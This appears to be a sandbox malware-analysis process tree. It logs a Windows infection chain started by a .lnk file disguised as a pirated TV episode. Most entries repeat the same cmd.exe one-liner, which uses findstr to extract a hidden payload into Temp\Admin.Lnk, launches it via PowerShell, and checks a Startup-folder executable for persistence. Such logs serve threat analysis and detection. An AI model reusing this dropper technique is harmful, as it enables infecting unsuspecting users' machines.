        Command and Scripting Interpreter: PowerShell
        
        PID:3044
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        216⤵
        
        PID:4128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0182" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        217⤵
        
        PID:5832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        217⤵
        
        PID:592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        218⤵
        
        PID:3020
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0259" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        219⤵
        
        PID:5904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        219⤵
        
        PID:456
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        220⤵
        
        PID:5992
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0332" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        221⤵
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        221⤵
        
        PID:5056
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        222⤵
        
        PID:884
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0407" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        223⤵
        
        PID:4996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        223⤵
        
        PID:4800
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        224⤵
        
        PID:2988
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0476" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        225⤵
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        225⤵
        
        PID:5128
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        226⤵
        
        PID:4876
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0540" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        227⤵
        
        PID:3564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        227⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        228⤵
        
        PID:5348
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0612" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        229⤵
        
        PID:1596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        229⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5956
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        230⤵
        
        PID:1392
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        231⤵
        
        PID:684
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0671" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        231⤵
        
        PID:5372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        231⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6096
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        232⤵
        
        PID:1292
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0738" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        233⤵
        
        PID:4472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        233⤵
        
        PID:5516
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        234⤵
        
        PID:5360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0796" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        235⤵
        
        PID:2020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        235⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3212
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        236⤵
        
        PID:5904
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0865" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        237⤵
        
        PID:2180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        237⤵
        
        PID:5952
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        238⤵
        
        PID:3024
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0935" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        239⤵
        
        PID:5140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        239⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5340
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        240⤵
        
        PID:516
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0996" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        241⤵
        
        PID:3280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        241⤵
        
        PID:4732
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        242⤵
        
        PID:4124
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0051" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        243⤵
        
        PID:4820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        243⤵
        
        PID:4912
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        244⤵
        
        PID:2708
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0118" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        245⤵
        
        PID:4516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        245⤵
        
        PID:832
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        246⤵
        
        PID:4016
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0184" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        247⤵
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        247⤵
        
        PID:2328
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        248⤵
        
        PID:3240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0245" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        249⤵
        
        PID:3792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        249⤵
        
        PID:3756
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        250⤵
        
        PID:6112
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0316" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        251⤵
        
        PID:5696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        251⤵
        
        PID:5304
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        252⤵
        
        PID:6072
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0377" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        253⤵
        
        PID:1816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        253⤵
        
        PID:1840
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        254⤵
        
        PID:3436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0445" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        255⤵
        
        PID:5756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        255⤵
        
        PID:2064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        256⤵
        
        PID:4884
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0518" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        257⤵
        
        PID:5452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        257⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1260
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        258⤵
        
        PID:5416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0584" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        259⤵
        
        PID:3968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        259⤵
        
        PID:2240
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        260⤵
        
        PID:4916
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0685" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        261⤵
        
        PID:2312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        261⤵
        
        PID:3708
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        262⤵
        
        PID:4572
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0787" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        263⤵
        
        PID:5656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        263⤵
        
        PID:6076
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        264⤵
        
        PID:2392
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0866" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        265⤵
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        265⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5144
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        266⤵
        
        PID:3868
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        267⤵
        
        PID:5648
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0926" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        267⤵
        
        PID:6120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        267⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4164
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        268⤵
        
        PID:1364
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0995" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        269⤵
        
        PID:4624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        269⤵
        
        PID:4728
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        270⤵
        
        PID:1520
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0062" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        271⤵
        
        PID:4632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        271⤵
        
        PID:3592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        272⤵
        
        PID:1868
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0137" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        273⤵
        
        PID:5368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        273⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4900
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        274⤵
        
        PID:6124
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0196" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        275⤵
        
        PID:3960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        275⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5324
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        276⤵
        
        PID:4828
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0268" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        277⤵
        
        PID:5380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
